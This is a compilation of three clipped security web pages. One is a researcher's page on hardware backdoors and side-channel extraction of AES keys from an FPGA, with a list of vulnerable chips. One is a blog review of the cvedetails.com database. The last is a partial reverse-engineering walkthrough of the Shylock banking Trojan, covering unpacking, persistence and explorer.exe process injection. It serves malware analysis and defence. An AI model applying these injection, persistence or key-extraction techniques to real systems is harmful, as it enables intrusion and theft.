Yes: www.quovadislabs.com | | |   
---|---|---|---|---|---|---  
  

## Hardware Assurance and its importance to National Security

| | | **Current issues**. UK officials are fearful that China has the capability to shut down businesses, military and critical infrastructure through cyber attacks and spy equipment embedded in computer and telecommunications equipment. The Stuxnet worm is the most famous and best case example of a cyber attack on a network which wreaked devastation having easily compromised conventional software defensive systems. There have been many cases of computer hardware having backdoors, Trojans or other programs to allow an attacker to gain access or transmit confidential data to a third party. Considerable focus and expense has been invested in software computer networks and system defences to detect and eradicate such threats.   
However, similar technology with antivirus or anti Trojan capability for
hardware \(silicon chips\) is not available. The computer or network hardware
underpins and runs all the software defence systems. If the hardware has a
vulnerability then all the energy in defending at the software level is
redundant. An effort must be made to defend and detect at the hardware level
for a more comprehensive strategy.  
**Our findings**. Claims were made by the intelligence agencies around the
world, from MI5, NSA and IARPA, that silicon chips could be infected. We
developed breakthrough silicon chip scanning technology to investigate these
claims. We chose an American military chip that is highly secure with
sophisticated encryption standard, manufactured in China. Our aim was to
perform advanced code breaking and to see if there were any unexpected
features on the chip. We scanned the silicon chip in an affordable time and
found a previously unknown backdoor inserted by the manufacturer. This
backdoor has a key, which we were able to extract. If you use this key you can
disable the chip or reprogram it at will, even if locked by the user with
their own key. This particular chip is prevalent in many systems from weapons,
nuclear power plants to public transport. In other words, this backdoor access
could be turned into an advanced Stuxnet weapon to attack potentially millions
of systems. The scale and range of possible attacks has huge implications for
National Security and public infrastructure.  
Key features of our technology:

  * scans silicon/hardware for backdoors, Trojans and unexpected behaviour 
  * low cost 
  * very fast result turnaround time 
  * high portability 
  * adaptable - scale up to include many types of chip 

Further funding is needed for us to progress to testing further silicon chips
and to develop better search algorithms which would allow us to detect
possible spy systems or vulnerabilities in a greater range of systems.  
Currently there is no economical or timely way of ascertaining if a
manufacturer's specifications have been altered during the manufacturing
process \(99% of chips are manufactured in China\), or indeed if the
specifications themselves contain a deliberately inserted potential threat.  
**Conclusions**. It is clear that cyber attacks will increasingly be of this
nature, having most impact; it is imperative that this issue is addressed as a
matter of urgency. We would suggest making hardware assurance \(HWA\) &
hardware defence \(HWD\), the testing of silicon chips for backdoors and
Trojans, and their defence, a greater priority within the National Cyber
Strategy. Until now it was not possible to perform such analysis in a timely
or cost effective manner. Our technology provides a solution. A variation in
this technology could be used as a backstop defence on a computer or network
system where it can monitor instructions and possible reprogramming or
activation of a buried spy system in a real time environment, thereby
preventing Stuxnet type attacks.  
Further funding is needed for us to progress to testing further silicon chips and to develop better search algorithms which would allow us to detect possible spy systems or vulnerabilities in a greater range of systems. | | |   
---|---|---|---|---|---|---  
## Hardware Assurance related links

| | | Can Darpa Fix the Cybersecurity 'Problem From Hell?'   
The Navy Bought Fake Chinese Microchips That Could Have Disarmed U.S. Missiles  
Ensuring Hardware Cybersecurity  
Cyberspace policy review  
High Performance Microchip Supply  
DHS: Imported Consumer Tech Contains Hidden Hacker Attack Tools  
UK critical systems cyber warning  
Spies, military looking for hacker-, backdoor-proof circuits  
U.S. Senate Panel Targets Counterfeit Electronic Parts  
Background Memo: Senate Armed Services Committee Hearing on Counterfeit
Electronic Parts in the DOD Supply Chain  
TROJAN CHIPS COULD CRIPPLE US ATTACK ON IRAN  
The Hunt for the Kill Switch  
SEMICONDUCTOR TECHNOLOGY AND U.S. NATIONAL SECURITY  
Foreign chips causing concern for the military  
Shadow Supply Chain Demands System-Level Verification  
Old Trick Threatens the Newest Weapons  
Stuxnet | | |   
---|---|---|---|---|---|---  
  

## In the blink of an eye: There goes your AES key

| | | This paper is a short summary of a real world AES key extraction performed on a military grade FPGA marketed as 'virtually unbreakable' and 'highly secure'. We demonstrated that it is possible to extract the AES key from the A\*\*\*\*/M\*\*\*\*\*\*\*\* P\*\*\*\*\*\*\* \(P\*\*\) in a time of 0.01 seconds using a new side-channel analysis technique called Pipeline Emission Analysis \(PEA\) developed by Quo Vadis Labs \(QVL\) . This new technique does not introduce a new form of side-channel attacks \(SCA\). It is a method that improves upon the speed at which all SCA can be performed, on any device and especially against devices previously thought to be infeasible to break because of the time and equipment cost. Possessing the AES key for the P\*\* would allow an attacker to decrypt the bitstream or allow them to authenticate themselves as a legitimate user. This means the device is wide open to intellectual property theft, fraud and reverse engineering of the design to allow the introduction of a backdoor or Trojan. We will show that with a very low cost hardware setup made with parts obtained from a local electronics distributor you can improve upon existing SCA by a factor of x1000 to x1,000,000 in time and at a fraction of the cost of existing SCA equipment. | | |   
---|---|---|---|---|---|---  
Here is the picture of the first page of the paper draft.

<img src='img/Temp2_4842.jpg' width='600' height='800' alt='In the blink of an
eye: There goes your AES key' />

  

## Breakthrough silicon scanning discovers backdoor in military chip

| | | This paper is a short summary of the first real world detection of a backdoor in a military grade FPGA. Using innovative patented technique from Quo Vadis Labs \(QVL\) we were able to detect and analyse in the first documented case of its kind, a backdoor inserted into the A\*\*\*\*/M\*\*\*\*\*\*\*\* P\*\*\*\*\*\*\* \(P\*\*\). The backdoor was found to exist on the silicon itself, it was not present in any firmware loaded onto the chip. Using Pipeline Emission Analysis \(PEA\), a technique pioneered by QVL we were able to extract the secret key to activate the backdoor. This way an attacker can disable all the security on the chip, reprogram the AES key, access unencrypted configuration bitstream or permanently damage the device. Clearly this means the device is wide open to intellectual property theft, fraud, re-programming and reverse engineering of the design to allow the introduction of a new backdoor or Trojan. Most disturbingly, it is not possible to patch the backdoor in chips already deployed which means those using this type of chip have to live with the fact it can be easily compromised or they will have to be physically replaced after a redesign of the silicon itself.| | |   
---|---|---|---|---|---|---  
Here is the picture of the first page of the paper draft.

<img src='img/Temp2_4841.jpg' width='600' height='800' alt='Breakthrough
silicon scanning discovers backdoor in military chip' />

  

## Hardware Health Monitoring using side-channel information

Using new technology for health monitoring of hardware systems used in
automotive, aerospace and industrial applications.

  

## Developing new technology for effective side-channel analysis

Using new methods of side-channel analysis for finding cryptographic keys
leakage, as well as backdoors and trojans in secure chips.

  

## Physical Attacks and Tamper Resistance

| | | Many semiconductor chips used in a wide range of applications require protection against physical attacks or tamper resistance. These attacks assume that a direct access to the chip is possible with either establishing electrical connections to signal wires or at least doing some measurements. The importance of protection against physical attacks is dictated by the amount of valuable and sensitive information stored on the chip. This could be secret data or company secrets and intellectual property \(IP\), electronic money for service access, or banking smartcards. The security in chips serves to deter prospective attackers from performing unauthorized access and benefiting from it.| | |   
---|---|---|---|---|---|---  
### 'Physical Attacks and Tamper Resistance' is available as Chapter 7 in the
book 'Introduction to Hardware Security and Trust'

  

## Hardware security evaluation

The article Copy Protection in Modern Microcontrollers was left in its
original state as it was back in 2001. Since then more than 10 years have
passed. During that time I tested various microcontrollers, smartcards, secure
memory chips and FPGAs. Most of them were found vulnerable to all sorts of the
attacks listed in the above PhD thesis. Those chips were from the following
manufacturers: Motorola, Microchip, Atmel, Hitachi, NEC, Xilinx, Lattice,
Actel, Cypress, Zilog, Dallas, Mitsubishi, Freescale, Renesas, Altera, Texas
Instruments, Intel, Scenix, Fujitsu, STMicroelectronics, Winbond, Holtek,
Philips, Temic, Cygnal, Toshiba, Samsung, Ubicom, Siemens, Macronix, Elan,
National Semiconductor, NXP.  
The list of chips vulnerable to low-cost attacks is very long, here are just
some of them: 68HC05xx, 68HC705xx, 68HC08xx, 68HC908xx, 68HC11xx, PIC12Cxx,
PIC12Fxx, PIC16Cxx, PIC16Fxx, PIC17Cxx, PIC18Cxx, PIC18Fxx, PIC24HJxx,
dsPIC30Fxx, dsPIC33FJxx, AT89Cxx, AT89Sxx, AT90Sxx, ATtinyxx, ATmegaxx,
H8/3xx, D78xx, D78Fxx, XC95xx, XCR3xx, XC2Cxx, A500Kxx, A3Pxx, CY7C6xx,
Z867xx, Z86Exx, DS2432, M306xx, EPM3xx, EPM7xx, EPM9xx, MSP430Fxx, N87Cxx,
SXxx, ST62Txx, ST72Fxx, W921Exx, HT48Rxx, P87LPCxx, T89Cxx, SAB-Cxx, MX10xx,
EL78Pxx, LPC3xx

Keywords: hardware security, analysis, evaluation, computer testing,
microcontroller, smartcard, embedded systems, tamper resistance, smartcard
systems, breaking copy protection, IP, data extraction, AES key, DES, TDES,
RSA, SHA-1, electronic engineering, invasive, non-invasive, semi-invasive
attacks, optical probing, side-channel, EMA, power analysis, cryptography,
encryption, crypto, digital electronics, controllers, MCU, CPLD, FPGA, ASIC,
IC, fuse, antifuse, flash, EPROM, EEPROM, lock bits, attacking, cracking,
hacking, crack, hack, unlock, unprotect, break, reverse engineer, recover,
recovery, PIC, AVR, MSP430, H8, ST62, Z86, HC908, PIC16, PIC18, PIC24,
dsPIC30, dsPIC33, DS2432, AT89, AT90, ATMEGA, ATtiny, PA3, A3P, ProASIC,
ProASIC3, Igloo, Fusion, SmartFusion, passkey, flashlock, iButton

Sergei Skorobogatov <sps32 \(at\) cam.ac.uk> <Sergei.Skorobogatov \(at\)
hushmail.com>  
created 14-10-2011 -- last modified 14-05-2012 --
http://www.cl.cam.ac.uk/~sps32/

# CVE research made easy « ©атсн²² \(in\)sесuяitу

**Created:**| _5/12/2010 9:49:56 AM_  
---|---  
**Updated:**| _5/12/2010 9:50:17 AM_  
**Author:**| __  
**Tags:**| _Footprinting research vulnerability statistics security metrics
awesome_  
  

## CVE research made easy

May 11, 2010 — ChrisJohnRiley

There are a number of sites and services available for researching
vulnerabilities, some have been around for a long time \(Mitre, NVD\) , others
are new to the game \(OSVDB\). Although these sites offer a great mix of
information, a new player that’s making access to CVE vulnerability
information easier than ever is cvedetails.com  _\(alternatively known
asSecurityVulnerability.net\)._ This new twist on CVE search offers the
ability to browse vulnerability information by type, date, product, vendor,
and CVSS scores using an easy to use interface with a great deal of
customization.

<img src='img/Temp2_1298.png' width='300' height='216' />

CVEDETAILS Apache View

As you can see by the above screenshot  _\(using Apache as an example\)_ , the
layout of CVEdeails gives a great deal of information about vulnerabilities
reported, including a helpful breakdown of the type of flaw and number of
vulnerabilities reported by year  _\(see the coloured charts at the bottom of
the screenshot\)_. Here you can easily filter the vulnerabilities further by
year or type simply by clicking on the desired selection. Not only does the
interface make filtering your search criteria easier, but management will love
charts…. just saying <img src='img/Temp2_1300.png' alt=';)' />

<img src='img/Temp2_1296.png' width='300' height='160' />

CVEDETAILS Apache Code Exec

Diving into the “Execute Code” vulnerabilities  _\(after all, that’s the real
juicy stuff\),_ CVEdetails gives you a full breakdown of CVE information with
some nice additional features. I particularly like the ability to easily see
the CVSS scores, as well as the “gained access level” and access
\(remote|local\). This, alongside the ability to easily filter by CVSS score,
makes researching vulnerabilities a lot easier. The eagle-eyed amongst you
will also have noticed the “\# of Exploits” column. This gives an indication
_\(I say this, because not all exploits are publicly available\)_ of the
exploits available.

<img src='img/Temp2_1299.png' width='300' height='225' />

CVEDETAILS Apache CVE Detailed View

By clicking on one of the CVE listing we get a good overview of the
vulnerability  _\(as you’d expect, this information is based on centrally
stored information\),_ however the addition of some handy links in the
“Vulnerable Products” list is a nice bonus. Here you can easily expand/narrow
your search by looking at other vulnerabilities for the affected product
versions. The ability to also look at vulnerability trends for specific
product versions is also something that will come in useful for a number of us
I’m sure. Again, management love charts, and I can see this kind of charting
being used in reports t convey the issue of outdated software more clearly to
management.

<img src='img/Temp2_1297.png' width='300' height='249' />

CVEDETAILS - Apache 2.3.0 Vulnerability Trends

Overall CVEdetails seems like a step in the right direction when it comes to
providing useful information in an easy to find/use interface. The ability to
view large amounts of vulnerability information and filter it to your
requirements is a real timesaver, and the level of customization within the
searches provides exactly what you’re looking for without the headache of
manually sifting through pages and pages of CVEs before you finally find the
one you need. I know there are a lot of other alternatives out there, but
adding CVEdetails to this list certainly won’t hurt\!

Links:

  * CVEdetails –> http://www.cvedetails.com
    * SecurityVulnerability.net –> http://www.securityvulnerability.net
  * Mitre CVE  _\(Common Vulnerabilities and Exposures\)_ –> http://cve.mitre.org/
  * Mitre CWE  _\(Common Weakness Enumeration\)_ –> http://cwe.mitre.org/
  * NVD  _\(National Vulnerability Database\)_ –> http://nvd.nist.gov/
  * OSVDB  _\(Open Source Vulnerability Database\)–>_http://osvdb.org/
  * OVAL  _\(Open Vulnerability and Assessment Language\)_ –> http://oval.mitre.org/

# Walking Toe to Toe With Shylock « P4r4n0id Reversing Lab

**Created:**| _12/26/2011 10:46:28 AM_  
---|---  
**Updated:**| _12/26/2011 10:46:28 AM_  
**Author:**| __  
**Tags:**| _windows security Malware-analysis_  
  

## Walking Toe to Toe With Shylock

by Master on Dec.09, 2011, under Malware, Reversing

**Contents**

1. Walking Toe to Toe With Shylock
  1. Introduction
  2. Tools
  3. Links to other excellent analyses of shylock

2. Unpacking the Sample
  1. Sample Generic Overview
  2. Unpacking – step by step

  1. VirtualAlloc / Memory Copying – \#1
  2. VirtualAlloc / Memory Copying – \#2
  3. Decryption Routine
  4. VirtualAlloc / Memory Copying – \#3
  5. Process Image – Erasing Routine
  6. Rebuilding the Process Image – Copying the PE header
  7. Rebuilding the Process Image – Copying the Sections
  8. Rebuilding the Process Image – IAT Rebuild – LoadLibrary / GetProcAddress Combination
  9. Rebuilding the Process Image – VirtualProtect the Sections
  10. The CleanUP

3\. The OEP  
4. Dump & Fix
  1. ImpREC – Fixing the Dump

5. OEP – Core Infection 
  1. The Decryption Routine
  2. GetModuleHandleA / GetProcAddress  

  3. Unique ID Generation
  4. Mutex Creation
  5. File System Changes – APPDATA folder
  6. Surviving Reboot
  7. Creating the .bat File
  8. cmd.exe Process
  9. explorer.exe – Process Injection

  1. Step \#1: Retrieve a HANDLE to the remote process \(OpenProcess\):
  2. Step \#2: Allocate memory in the remote process’s address space for injected data \(VirtualAllocEx\).
  3. Step \#3: Write a copy of the initialised INJDATA structure to the allocated memory \(WriteProcessMemory\).
  4. Step \#4: Start the remote copy of ThreadFunc via CreateRemoteThread.
  5. Step \#5: Wait until the remote thread terminates \(WaitForSingleObject\).
  6. Step \#6: Retrieve the result from the remote process \(ReadProcessMemory or GetExitCodeThread\).
  7. Step \#7 and \#8 – The clean Up

6\. Conclusion

7. Final Notes 
**1 Walking Toe to Toe With Shylock**

**1.1 Introduction**

Shylock is a new Trojan discovered by trusteer around 2 months ago. It is
designed to be a Trojan Spy and specifically a Banker. Targets the windows
platform, collects various system information from the infected system and
send it to a remote C&C server, able to perform Man in the Browser attacks
\(IE and FF\) against users of UK banks.

**1.2 Tools**

  * IDA
  * ImmunityDebugger
  * CFF Explorer
  * ImpREC

**1.3 Links to other excellent analyses of shylock**

1.3.1 **Evilcry** – Shylock via Volatility  
1.3.2 **Mila** – Greedy Shylock – financial malware  
1.3.3 **Malwarereversing** – shylock-in-depth-malware-analysis

**2\. Unpacking the Sample**

**2.1 Sample Generic Overview**

  * **File Size** : 363.09 KB \(371800 bytes\)
  * **MD5** : 4FDA5E7E8E682870E993F97AD26BA6B2
  * **SHA-1** : D1B17C351BAFC899BA14C84E09B5CC258A2195BF
  * **Packer** : Unknown \(PEID\)

<img src='img/Temp2_9248.jpg' width='151' height='88' />

  * **Company Name** : He is ready at the door
  * **File Description** : So keen and greedy to confound a man

<img src='img/Temp2_9245.jpg' width='169' height='61' />

  * **Signature** :

<img src='img/Temp2_9187.jpg' width='265' height='118' />

**2.2 Unpacking – step by step**

As we’ve seen from the previous paragraph the binary is packed with an unknown
packer so we have to start analyzing it from the top.

The start code is quite typical, some several API calls including some Crypto
functions:

<img src='img/Temp2_9177.jpg' width='181' height='107' />

**2.2.1 VirtualAlloc / Memory Copying - \#1**

On address **00404A69** we see a CALL instruction \(CALL sub\_004040C0\). Once
stepping in into the function we can notice the **VirtuallAlloc** API function
call:

<img src='img/Temp2_9214.jpg' width='217' height='99' />

Creating a new executable memory region:

<img src='img/Temp2_9246.jpg' width='396' height='208' />

Once executed, on address 00380000 we can see the newly allocated memory –
newly executable memory region \(5E200 bytes size\):

<img src='img/Temp2_9164.jpg' width='219' height='118' />

Directly after the memory allocation we can see a memory copying routine –
copying 5E000 bytes. The routine copies the full image of the running process
\(shylock.exe\) starting from the process image base address
\(Shylock.00400000\) to the newly virtually allocated space \(00380000\):

<img src='img/Temp2_9195.jpg' width='240' height='36' />

<img src='img/Temp2_9224.jpg' width='196' height='134' />

By end of loop:

<img src='img/Temp2_9242.jpg' width='272' height='226' />

Next, on address **00404152** we can see a**CALL EAX** instruction. EAX points
to 4160 bytes inside the newly virtually allocated memory \(00384160\):

<img src='img/Temp2_9241.jpg' width='195' height='101' />

**2.2.2 VirtualAlloc / Memory Copying - \#2**

On address **003841F0** we see the second call to the **VirtualAlloc** API
function. This time allocating 703166 bytes marked as **PAGE\_READWRITE**\(and
not as **PAGE\_EXECUTE\_READWRITE** as previous allocation\). On address
**00940000** we can see the newly virtually allocated memory:

<img src='img/Temp2_9226.jpg' width='367' height='285' />

Using the same memory copying routine, this time copying 55D5F bytes from
offset 602E \(first VirtualAlloc call - 0038602E\) to 00940000 \(second
VirtualAlloc call\):

<img src='img/Temp2_9194.jpg' width='282' height='150' />

**2.2.3 Decryption Routine**

Let’s see what we have at this offset \(**0038602E**\):

<img src='img/Temp2_9228.jpg' width='374' height='283' />

An encrypted executable. On address **00384220** we can see the decryption
routine:

<img src='img/Temp2_9251.jpg' width='381' height='95' />

Decryption routine pseudo-code:

<img src='img/Temp2_9191.jpg' width='374' height='186' />

Lets see the decryption routine in action \(first 2 loop runs\):

First Byte – First Loop Run:

Encrypted\_Byte\_Value = 35h.

ECX \(key\) = 12345678 –> CL = 78

35h ^ 78h = 4D \(‘M‘\)

Which gives us the ‘MZ’:

<img src='img/Temp2_9206.jpg' width='384' height='262' />

ECX = 12345678 \* 218FB + 3CAC0047 = 262FAB0807EF ==> CL = EF

Second Byte - Second Loop:

EF ^ EF = 0

<img src='img/Temp2_9252.jpg' width='151' height='193' />

and so on 55D5F / 7 bytes….

**2.2.4 VirtualAlloc / Memory Copying - \#3**

On address **00384260** we see the third memory allocation call . This time
allocating 55F5F bytes marked as **PAGE\_READWRITE.**

****On address**009F0000** we can see the newly virtually allocated memory:

<img src='img/Temp2_9166.jpg' width='300' height='248' />

And again,copying 55D5F bytes from 00940000 ,the decrypted executable, to the
newly allocated memory space – 009F0000 \(3′rd time VirtualAlloc call\)

<img src='img/Temp2_9204.jpg' width='466' height='187' />

**2.2.5 Process Image – Erasing Routine**

Once copied the decrypted executable , on address **00384506** we see a memory
erasing routine. Starting from the process ImageBaseAddress \(EAX points to
Shylock.00400000\) the routine overwrites it’s own process virtual memory with
“0″ byte after byte:

<img src='img/Temp2_9160.jpg' width='349' height='41' />

By end of routine:

<img src='img/Temp2_9215.jpg' width='210' height='140' />

Using PE Tools – lets create a full process dump before and after this
routine:

<img src='img/Temp2_9171.jpg' width='244' height='112' />

<img src='img/Temp2_9221.jpg' width='334' height='117' />

**2.2.6 Rebuilding the Process Image – Copying the PE header**

Next we can see ,the same as above, memory bytes copying routine, copies 400
bytes \(PE header\) from the decrypted executable \(3′rd V.A call 009F0000\)
to the newly “clean” / erased process image \(shylock.00400000\):

<img src='img/Temp2_9208.jpg' width='392' height='271' />

2.2.7 Rebuilding the Process Image – Copying the Sections  

After copying the PE header, it is time to copy the section. The following
routine is responsible for this task. The loop runs 5 times, copies the
following 5 sections:

<img src='img/Temp2_9238.jpg' width='590' height='117' />

**The Routine**

<img src='img/Temp2_9222.jpg' width='712' height='255' />

**2.2.8 Rebuilding the Process Image – IAT Rebuild - LoadLibrary /
GetProcAddress Combination**

By the **LoadLibrary** / **GetProcAddress** combination the code loads the
following DLLs and resolves functions addresses in order to rebuild the IAT:

**LoadLibrary:**

<img src='img/Temp2_9156.jpg' width='540' height='169' />

**GetProcAddress:**

<img src='img/Temp2_9162.jpg' width='686' height='100' />

The code resolves the following functions addresses:

**advapi32.dll:** RegFlushKey ,RegQueryValueExA ,RegSetValueExA ,IsValidSid
,GetTokenInformation ,ConvertSidToStringSidA ,OpenProcessToken ,CryptHashData
,CryptDestroyHash ,GetLengthSid ,CryptCreateHash ,CryptAcquireContextA
,CryptReleaseContext ,CryptGetHashParam ,RegCloseKey ,RegCreateKeyA

**kernel32.dll:** GetLastError ,lstrcmpi ,GetTempFileNameA ,FindClose
,FindNextFileA ,GetFileTime ,CloseHandle ,WaitForSingleObject ,VirtualFree
,CreateRemoteThread ,OpenProcess ,VirtualFreeEx ,VirtualAlloc ,VirtualAllocEx
,GetExitCodeThread ,WriteProcessMemory ,FindFirstFileA ,GetProcAddress
,GetModuleHandleA ,GetCurrentProcess ,ProcessFirst ,ProcessNext
,CreateToolhelpSnapshot ,LocalFree ,GetCommandLineA ,CreateProcessA
,FlushFileBuffers ,GetShortPathNameA ,CopyFileA ,CreateMutexA ,DeleteFileA
,ExitProcess ,CreateDirectoryA ,ReadFile ,WriteFile ,SetFileTime
,ExpandEnvironmentStringsA ,GetFileSize ,CreateFileA ,lstrcpy ,HeapSize
,GetEnvironmentVariableA ,lstrcat ,HeapCreate ,GetVolumeInformationA
,GetProcessHeap ,HeapFree ,HeapAlloc ,lstrlen ,HeapReAlloc ,GetComputerNameA

**msvcrt.dll:** memmove,free,malloc,memset,memcpy,srand,getenv,sprintf

**shlwapi.dll:** PathCombineA

**winmm.dll:** timeGetTime

**user32.dll:** CharToOemA

**2.2.9 Rebuilding the Process Image – VirtualProtect the Sections  
**

By using the following routine the code calls the **VirtualProtect** API on
every section \(.text, .rdata, .data , .reloc , .adata\). The loop runs 5
times \(a loop run for every section\):

<img src='img/Temp2_9239.jpg' width='733' height='233' />

The 5 sections were marked as follows:

  * .text section = PAGE\_EXECUTE\_READ \(0×20\)
  * .rdata section = PAGE\_READONLY \(0×02\)
  * .data section = PAGE\_READWRITE \(0×04\)
  * .reloc section = PAGE\_READONLY \(0×02\)
  * .adata section = PAGE\_READONLY \(0×02\)

**2.2.10 The CleanUP**

Two calls to the **VirtualFree** API function:

<img src='img/Temp2_9220.jpg' width='554' height='81' />

In the first **VirtualFree** call EBX points to 00940000 \(2nd VirtualAlloc
call\) and in the second call ESI points to 009F0000 \(3′rd VirtualAlloc
call\).  
We can see that the dwFreeType parameter is set to **MEM\_RELEASE** \(0×8000\)
as required because both above addresses were allocated by using the
VirtualAlloc function.

**3. The OEP**

On address **0038433D** we see a CALL instruction that lands us directly on
the OEP:

<img src='img/Temp2_9232.jpg' width='510' height='275' />

**4\. Dump & Fix**

**4.1 ImpREC – Fixing the Dump**

After dumping the unpacked process using PETools we need to rebuild the IAT. I
am using ImpREC:

<img src='img/Temp2_9223.jpg' width='385' height='333' />

<img src='img/Temp2_9182.jpg' width='438' height='438' />

5\. **OEP – Core Infection**

This can be considered as the True EntryPoint, in other words here starts the
Infection Process. We can immediately see the **GetModuleHandleA** /
**GetProcAddress** combination. Before we get to the **GetModuleHandleA** /
**GetProcAddress** calls we can notice the “**CALL Dumped\_.0040166E** ”
instruction that gets called twice. The “Dumped\_.0040166E” routine is
shylock’s decryption routine.

<img src='img/Temp2_9230.jpg' width='423' height='202' />

**5.1 The Decryption Routine**

After a successful **HeapCreate** / **HeapAlloc** calls shylock copies from
it’s .rdata section to the newly allocated heap ‘N’ encrypted bytes and a 4
bytes key:

<img src='img/Temp2_9175.jpg' width='631' height='300' />

Let’s see how the 4 bytes key / ‘N’ encrypted bytes structure looks like in
the .rdata section:

<img src='img/Temp2_9236.jpg' width='648' height='72' />

The decryption routine \(Dumped\_.0040164C\):

<img src='img/Temp2_9178.jpg' width='672' height='74' />

**5.2 GetModuleHandleA / GetProcAddress**

Now we can move on to the **GetModuleHandleA** / **GetProcAddress** calls. As
we’ve seen above there are 2 calls to the decryption routine before calling
the **GetModuleHandleA** / **GetProcAddress** APIs.

The first decryption call returns the following string:

<img src='img/Temp2_9159.jpg' width='444' height='106' />

The second call returns:

<img src='img/Temp2_9183.jpg' width='533' height='94' />

<img src='img/Temp2_9243.jpg' width='446' height='75' />

So the first thing shylock does is resolving the address of
kernel32.IsWow64Process API function. Once resolved, it tries to determine
whether its running under WOW64 system by calling IsWow64Process with the
handle returned from a call to GetCurrentProcess function \(current process
handle \(HANDLE\)-1\):

<img src='img/Temp2_9186.jpg' width='626' height='47' />

**Unique ID Generation**

For future usage ,as part of the infection process, shylock generates a 16
bytes \(calculated from 55 bytes buffer\) unique ID number:

First 8 bytes:

By using the following routine shylock generates the first 8 bytes. The loop
runs 10 times, on each loop there is a call to the CPUID opcode with EAX from
8000000A to 80000000 :

<img src='img/Temp2_9219.jpg' width='567' height='230' />

Next 4 bytes:

In order to generate the next 4 bytes Shylock calls the
**GetVolumeInformationA** API function. One of this function parameters is **
_lpVolumeSerialNumber_ \[out, optional\]** \(A pointer to a variable that
receives the volume serial number.\) Shylock uses the returned serial ID as
its next 4 bytes:

<img src='img/Temp2_9235.jpg' width='654' height='228' />

Next 15 bytes \(in my case\)

The next bytes are generated by calling the **GetComputerNameA** API function.
In my case the returned length is 15 bytes.

<img src='img/Temp2_9244.jpg' width='510' height='177' />

Last 28 bytes

The last 28 bytes are generated by calling the **GetTokenInformation** API
function - **OpenProcessToken\(GetCurrentProcess\(\)….\) = >
GetTokenInformation\(\)**

The returned TokenInformation is saved to an allocated heap due to a
“ERROR\_INSUFFICIENT\_BUFFER” error on first call.

<img src='img/Temp2_9212.jpg' width='444' height='123' />

Next there is a call to **IsValidSid** API function with **pSid** parameter
points to 8 bytes offset inside the returned token from above \(skips first 8
bytes\) which leaves us 28 bytes token info.

<img src='img/Temp2_9172.jpg' width='544' height='232' />

Building the final buffer into a allocated heap:

<img src='img/Temp2_9249.jpg' width='576' height='333' />

Once the 55 bytes buffer \(8 +4 + 15 + 28 \) is ready, Shylock executes some
crypto API calls on it:

<img src='img/Temp2_9209.jpg' width='605' height='266' />

The Unique ID: “03 B9 A9 07 8D 48 AE 06 CA 2C 89 39 AD 57 A5 07″

Reordering the bytes:

<img src='img/Temp2_9174.jpg' width='584' height='284' />

and calling sprintf function:

<img src='img/Temp2_9210.jpg' width='630' height='111' />

**Mutex Creation**

Before calling the **CreateMutex** API function the code jumps to the
decryption routine \(this time decrypting 5 bytes\)

<img src='img/Temp2_9225.jpg' width='536' height='39' />

The decrypted string:

<img src='img/Temp2_9158.jpg' width='443' height='59' />

Mutex name – the decrypted string \(“MTX\_”\) concated with the generated
UniqueID:

**MutexName** = “MTX\_06AE488D07A9B90339892CCA07A557AD”  
**InitialOwner** = FALSE  
**pSecurity** = NULL

<img src='img/Temp2_9196.jpg' width='611' height='67' />

**File System Changes – APPDATA folder**

Shylock drops a copy of itself \(running process\) under the APPDATA folder in
a random location with a random name, let’s see how it is done:

Calling the decryption routine:

<img src='img/Temp2_9188.jpg' width='536' height='81' />

The decrypted string:

<img src='img/Temp2_9168.jpg' width='442' height='52' />

Once got the decrypted string we jump to the following routine:

<img src='img/Temp2_9198.jpg' width='564' height='181' />

The routine generates a random number by calling time.GetTime function and
than doing some math operations on the returned value.

By calling the **FindFirstFileA** /**FindNextFileA** APIs combination Shylock
searches all exe files under the system32 folder and extracts the name of the
file, to be its chosen random name, from the file which is located in the
generated random number location. By using the same logic Shylock also chooses
the random folder under APPDATA path to copy itself to:

<img src='img/Temp2_9247.jpg' width='438' height='158' />

BTW, Shylock decides to drop a copy of itself under the APPDATA path because
that’s the path he gets after calling the decryption routine:

<img src='img/Temp2_9170.jpg' width='539' height='43' />

The decrypted string:

<img src='img/Temp2_9169.jpg' width='445' height='57' />

**Surviving Reboot**

Calling the decryption routine:

<img src='img/Temp2_9157.jpg' width='534' height='119' />

The decrypted string:

<img src='img/Temp2_9233.jpg' width='444' height='80' />

In order to survive reboot shylock writes itself to the registry
under**”Software\Microsoft\Windows\CurrentVersion\Run”** using it’s generated
unique ID as the name value:

<img src='img/Temp2_9189.jpg' width='622' height='69' />

**Creating the .bat File**

Before creating the .bat file we see the **GetTempFileNameA** /
**DeleteFileA** API calls.

**GetTempFileName** by MSDN:  
“Creates a name for a temporary file. If a unique file name is generated, an
empty file is created and the handle to it is released; otherwise, only a file
name is generated.”

After the **GetTempFileNameA / DeleteFileA** calls we jumps to the decryption
routine twice. First call decrypting 5 bytes:

<img src='img/Temp2_9173.jpg' width='613' height='49' />

The decrypted string:

<img src='img/Temp2_9213.jpg' width='443' height='68' />

Second call decrypting 119 bytes:

<img src='img/Temp2_9190.jpg' width='489' height='98' />

The decrypted string:

<img src='img/Temp2_9217.jpg' width='444' height='50' />

Now it is time for creating the .bat file by calling **CreateFileA** function:

<img src='img/Temp2_9231.jpg' width='542' height='47' />

Next, writing to the created .bat file the decrypted string when replacing all
format strings “%s” with the full path of the running process \(by using
**GetCommandLine** API\):

<img src='img/Temp2_9176.jpg' width='626' height='184' />

**cmd.exe Process**

Again, calling the decryption routine. This time decrypting 11 bytes. The
decrypted string:

<img src='img/Temp2_9218.jpg' width='444' height='56' />

Calling **getenv** function and **GetShortPathName** that returns the
**“C:\WINDOWS** ” string. Another decryption routine call – 22 bytes this
time:

<img src='img/Temp2_9193.jpg' width='367' height='63' />

The decrypted string:

<img src='img/Temp2_9161.jpg' width='444' height='61' />

And 2 calls to the **strcat** API function:

First call – concats **“C:\WINDOWS”** and **“\system32\cmd.exe /c”**

<img src='img/Temp2_9205.jpg' width='620' height='36' />

Second call – concats **“C:\WINDOWS\system32\cmd.exe /c”** and the full path
to the tmp.bat file:

<img src='img/Temp2_9200.jpg' width='743' height='28' />

Executing the. bat file using the **CreateProcessA** function:

<img src='img/Temp2_9250.jpg' width='1020' height='120' />

<img src='img/Temp2_9163.jpg' width='443' height='375' />

**explorer.exe – Process Injection**

Calling the decryption routine. This time decrypting 13 bytes:

<img src='img/Temp2_9199.jpg' width='610' height='62' />

The decrypted string:

<img src='img/Temp2_9185.jpg' width='445' height='63' />

Once decrypted we land here:

<img src='img/Temp2_9197.jpg' width='459' height='285' />

By calling **CreateToolhelp32Snapshot** / **Process32First**
